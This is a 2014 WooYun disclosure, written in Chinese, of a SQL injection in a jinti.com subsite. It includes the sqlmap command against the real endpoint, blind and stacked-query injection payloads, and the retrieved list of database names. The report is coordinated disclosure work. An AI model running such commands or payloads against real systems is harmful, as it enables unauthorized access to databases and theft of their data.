当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-048798

漏洞标题:今题网某分站SQL注射漏洞

相关厂商:jinti.com

漏洞作者: lxj616

提交时间:2014-01-14 11:50

修复时间:2014-02-28 11:50

公开时间:2014-02-28 11:50

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:16

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-01-14: 细节已通知厂商并且等待厂商处理中
2014-01-14: 厂商已经确认,细节仅向厂商公开
2014-01-24: 细节向核心白帽子及相关领域专家公开
2014-02-03: 细节向普通白帽子公开
2014-02-13: 细节向实习白帽子公开
2014-02-28: 细节向公众公开

简要描述:

今题网SQL注射 可导致全部数据库记录泄露 已经SQLMAP验证

详细说明:

注射位置

http://club.jinti.com/operation/setmoodinfo.aspx


SQLMAP跑表

C:\Users\Administrator>sqlmap.py -u "http://club.jinti.com/operation/setmoodinfo.aspx?bodyid=52164&channel=a&classid=0&mood=mood1rand=0.10818770481273532" -p channel --tables


01.png


C:\Users\Administrator>sqlmap.py -u "http://club.jinti.com/operation/setmoodinfo
.aspx?bodyid=52164&channel=a&classid=0&mood=mood1&rand=0.10818770481273532" -p c
hannel --tables
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 19:07:59
[19:08:00] [INFO] resuming back-end DBMS 'microsoft sql server'
[19:08:00] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: channel
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: bodyid=52164&channel=a' AND 7421=7421 AND 'TqRi'='TqRi&classid=0&mo
od=mood1&rand=0.10818770481273532
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: bodyid=52164&channel=a'; WAITFOR DELAY '0:0:5'--&classid=0&mood=moo
d1&rand=0.10818770481273532
---
[19:08:00] [INFO] the back-end DBMS is Microsoft SQL Server
back-end DBMS: Microsoft SQL Server 2012
[19:08:00] [INFO] fetching database names
[19:08:00] [INFO] fetching number of databases
[19:08:00] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[19:08:00] [INFO] retrieved: 27
[19:08:01] [INFO] retrieved: BBSDB
[19:08:11] [INFO] retrieved: BBSDB_Caiji
[19:08:32] [INFO] retrieved: CaiPiaoDB
[19:08:49] [INFO] retrieved: ClientWebsiteDB
[19:09:05] [INFO] retrieved: CompanyPhotoDB
[19:09:17] [INFO] retrieved: CompanyWeb_3in1
[19:09:35] [INFO] retrieved: DebugDB
[19:09:49] [INFO] retrieved: GameUnionDB
[19:10:06] [INFO] retrieved: HousingDB
[19:10:16] [INFO] retrieved: HousingTrafficDB
[19:10:47] [INFO] retrieved: HuodongDB
[19:10:56] [INFO] retrieved: InfoUpdateServiceDB
[19:11:17] [INFO] retrieved: JingJiRenDB
[19:11:25] [INFO] retrieved: master
[19:11:33] [INFO] retrieved: model
[19:11:38] [INFO] retrieved: msdb
[19:11:44] [INFO] retrieved: NeedDeleteDB
[19:11:53] [INFO] retrieved: NewsDB
[19:11:58] [INFO] retrieved: NEWUserResearchDB
[19:12:11] [INFO] retrieved: Qhun
[19:12:15] [INFO] retrieved: ReportServer
[19:12:24] [INFO] retrieved: ReportServerTempDB
[19:12:37] [INFO] retrieved: SEODB
[19:12:40] [INFO] retrieved: ShowSHopDB
[19:12:47] [INFO] retrieved: tempdb
[19:12:52] [INFO] retrieved: UserResearchDB
[19:13:01] [INFO] retrieved: XinAnDuiDB
[19:13:07] [INFO] fetching tables for databases: BBSDB, BBSDB_Caiji, CaiPiaoDB,
ClientWebsiteDB, CompanyPhotoDB, CompanyWeb_3in1, DebugDB, GameUnionDB, HousingD
B, HousingTrafficDB, HuodongDB, InfoUpdateServiceDB, JingJiRenDB, NEWUserResearc
hDB, NeedDeleteDB, NewsDB, Qhun, ReportServer, ReportServerTempDB, SEODB, ShowSH
opDB, UserResearchDB, XinAnDuiDB, master, model, msdb, tempdb
[19:13:07] [INFO] fetching number of tables for database 'HousingTrafficDB'


就只演示到跑表吧,具体数据就不伸手拿了,危害点到为止好了

漏洞证明:

SQLMAP跑表

C:\Users\Administrator>sqlmap.py -u "http://club.jinti.com/operation/setmoodinfo.aspx?bodyid=52164&channel=a&classid=0&mood=mood1rand=0.10818770481273532" -p channel --tables


01.png


就只演示到跑表吧,具体数据就不伸手拿了,危害点到为止好了

修复方案:

过滤所有参数,避免用户的恶意输入达到数据库查询

版权声明:转载请注明来源 lxj616@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2014-01-14 14:50

厂商回复:

已经提交给相关技术修复

最新状态:

暂无


漏洞评价:

评论